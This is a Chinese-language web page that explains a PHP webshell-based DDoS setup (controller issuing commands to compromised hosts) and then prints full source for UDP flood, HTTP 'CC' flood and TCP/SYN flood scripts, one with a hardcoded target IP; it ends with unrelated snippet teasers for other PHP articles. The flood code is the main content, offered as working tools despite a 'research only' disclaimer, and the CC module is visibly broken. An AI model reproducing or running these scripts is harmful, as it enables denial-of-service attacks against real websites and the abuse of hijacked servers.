PHPDDOS的原理是使用一个主控端批量向被控端(也就是特殊的webshell)发送攻击命令,方式一般是get或者post,达到统一指挥的目的。而被控端一般使用了php中的sock来进行攻击。用过末日DDOS工具应该了解,攻击效果显著。
【一】。UDP源码
<?php $packets = 0; $ip = '116.255.242.14'; $port = 80; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = '60'; $time = time(); echo '状态 : 正常运行中.....<br><br>'; $max_time = $time+$exec_time; $out=null; for($i=0;$i<65535;$i++){ $out .= 't'; } while(true){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo " 攻击包时长:<font color=Red><span class=\"text\">".$exec_time." 秒</span><br><br></font>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
【二】。CC源码
<?php echo "状态 : 正常运行中.....<br>"; echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " CC Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; error_reporting(E_ALL); //提示错误信息 set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环 ob_implicit_flush(); // 刷新输出缓冲 $address = $_POST['site']; // 网站地址 $port = $_POST['port']; // 端口 $dongu = $_POST['dongu']; //循环次数 $sayi = 1; while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环 { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "HaHa\n"; } if (socket_bind($sock, $address, $port) === false) { // 连接端口 echo "HaHa\n"; } if (socket_listen($sock, 5) === false) { echo "HaHa\n"; } $msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n"; socket_write($msg); socket_close($sock); $sayi++; // 循环一次 变量sayi 加1 echo "Goodbye...".$sayi; // 输出循环次数 } ?>
【三】。TCP源码
<?php ini_set("display_errors", "Off"); $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "状态 : 正常运行中.....<br>"; $max_time = $time+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0); } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " SYN Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
PHP验证码不显示的问题应该是经常的事情,我在这里把2种解决方案都发出来方便大家后期使用.因为是昨天晚上自己写验证码都没有显示,我就直接把之前和李炎恢老师上课写的验证码拿来还是不显示,醉了。首先是第一种方法:1、打开服务器安装目录下的php.ini文件;2、去掉;extension=php_gd.d...
原理:使用curl_init()创建多个请求实例,再使用curl_multi_init()批量执行创建的多个请求实例。文件1:curl.php<?php $threads=500;//并发请求次数 $url='http://blog.cn/index.php?';...
header() 函数向客户端发送原始的 HTTP 报头。(官方解释)通俗的讲header函数将参数中的字符串作为服务端的响应头来返回给客户端。什么是服务端的响应头?打开谷歌浏览器看看network中的请求response header信息即可。更多的参数百度response header即可浏览器...
php arrayaccess 官方的说法是让你能以数组的形式访问对象,对于这种php内置接口一直不太明白有什么用,坚持多看文章,终于理解,特来分享,思路不同,更易于理解。(1).创建一个学生类,并且实现arrayaccess 接口。<?php class studen...
<?php /** * daemonize让当前脚本为守护进程执行 * @param string $callback 匿名函数 */ function daemonize($callback) {...
断点下载的原理:http请求头添加Range参数告诉文件服务器端需要的字节范围例如1个文本文件的字节为1000,第一次请求Range: bytes=0-500第二次请求Range: bytes=501-1000通过每次的请求将返回的流追加写入到文件。注意的项目:断点下载服务器端的每次只返回字节传输的...